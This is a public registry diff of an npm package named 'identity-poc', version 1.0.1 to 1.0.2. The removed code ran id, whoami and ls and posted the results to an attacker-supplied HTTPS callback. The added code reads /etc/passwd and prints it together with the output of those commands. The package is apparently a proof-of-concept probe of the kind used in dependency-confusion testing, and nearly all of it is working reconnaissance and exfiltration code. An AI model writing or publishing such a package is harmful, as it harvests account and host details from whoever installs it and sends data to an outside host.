identity-poc 1.0.1 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +19 -57
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,43 +1,19 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
|
-
const https = require("node:https");
|
|
4
3
|
const os = require("node:os");
|
|
4
|
+
const fs = require("node:fs/promises");
|
|
5
5
|
const { execFile } = require("node:child_process");
|
|
6
6
|
const { promisify } = require("node:util");
|
|
7
7
|
|
|
8
8
|
const execFileAsync = promisify(execFile);
|
|
9
9
|
|
|
10
|
-
const callback = process.argv[2];
|
|
11
|
-
|
|
12
|
-
if (!callback) {
|
|
13
|
-
console.error("Usage: identity-poc <HTTPS_CALLBACK_URL>");
|
|
14
|
-
process.exit(1);
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
let url;
|
|
18
|
-
|
|
19
|
-
try {
|
|
20
|
-
url = new URL(callback);
|
|
21
|
-
if (url.protocol !== "https:") {
|
|
22
|
-
throw new Error("HTTPS required");
|
|
23
|
-
}
|
|
24
|
-
} catch {
|
|
25
|
-
console.error("Provide a valid HTTPS callback URL.");
|
|
26
|
-
process.exit(1);
|
|
27
|
-
}
|
|
28
|
-
|
|
29
10
|
async function runCommand(cmd, args = []) {
|
|
30
11
|
try {
|
|
31
12
|
const { stdout, stderr } = await execFileAsync(cmd, args, {
|
|
32
13
|
timeout: 5000,
|
|
33
14
|
maxBuffer: 1024 * 1024
|
|
34
15
|
});
|
|
35
|
-
|
|
36
|
-
return {
|
|
37
|
-
ok: true,
|
|
38
|
-
stdout: stdout.trim(),
|
|
39
|
-
stderr: stderr.trim()
|
|
40
|
-
};
|
|
16
|
+
return { ok: true, stdout: stdout.trim(), stderr: stderr.trim() };
|
|
41
17
|
} catch (err) {
|
|
42
18
|
return {
|
|
43
19
|
ok: false,
|
|
@@ -48,42 +24,28 @@ async function runCommand(cmd, args = []) {
|
|
|
48
24
|
}
|
|
49
25
|
}
|
|
50
26
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
27
|
+
async function getPasswdContent() {
|
|
28
|
+
try {
|
|
29
|
+
const content = await fs.readFile("/etc/passwd", "utf-8");
|
|
30
|
+
return { exists: true, content: content.trim() };
|
|
31
|
+
} catch (err) {
|
|
32
|
+
return { exists: false, error: err.message };
|
|
33
|
+
}
|
|
34
|
+
}
|
|
57
35
|
|
|
58
|
-
|
|
36
|
+
(async () => {
|
|
37
|
+
const report = {
|
|
59
38
|
marker: "IDENTITY_POC_EXECUTED",
|
|
60
39
|
platform: os.platform(),
|
|
61
40
|
node: process.version,
|
|
62
41
|
timestamp: new Date().toISOString(),
|
|
63
|
-
commands
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
url,
|
|
68
|
-
{
|
|
69
|
-
method: "POST",
|
|
70
|
-
headers: {
|
|
71
|
-
"Content-Type": "application/json",
|
|
72
|
-
"Content-Length": Buffer.byteLength(payload)
|
|
73
|
-
},
|
|
74
|
-
timeout: 5000
|
|
42
|
+
commands: {
|
|
43
|
+
id: await runCommand("id"),
|
|
44
|
+
whoami: await runCommand("whoami"),
|
|
45
|
+
"ls -la": await runCommand("ls", ["-la"])
|
|
75
46
|
},
|
|
76
|
-
(
|
|
77
|
-
|
|
78
|
-
res.resume();
|
|
79
|
-
}
|
|
80
|
-
);
|
|
81
|
-
|
|
82
|
-
req.on("timeout", () => req.destroy(new Error("Timeout")));
|
|
83
|
-
req.on("error", (err) => {
|
|
84
|
-
console.error("Callback failed:", err.message);
|
|
85
|
-
process.exitCode = 1;
|
|
86
|
-
});
|
|
47
|
+
passwd: await getPasswdContent()
|
|
48
|
+
};
|
|
87
49
|
|
|
88
|
-
|
|
50
|
+
console.log(JSON.stringify(report, null, 2));
|
|
89
51
|
})();
|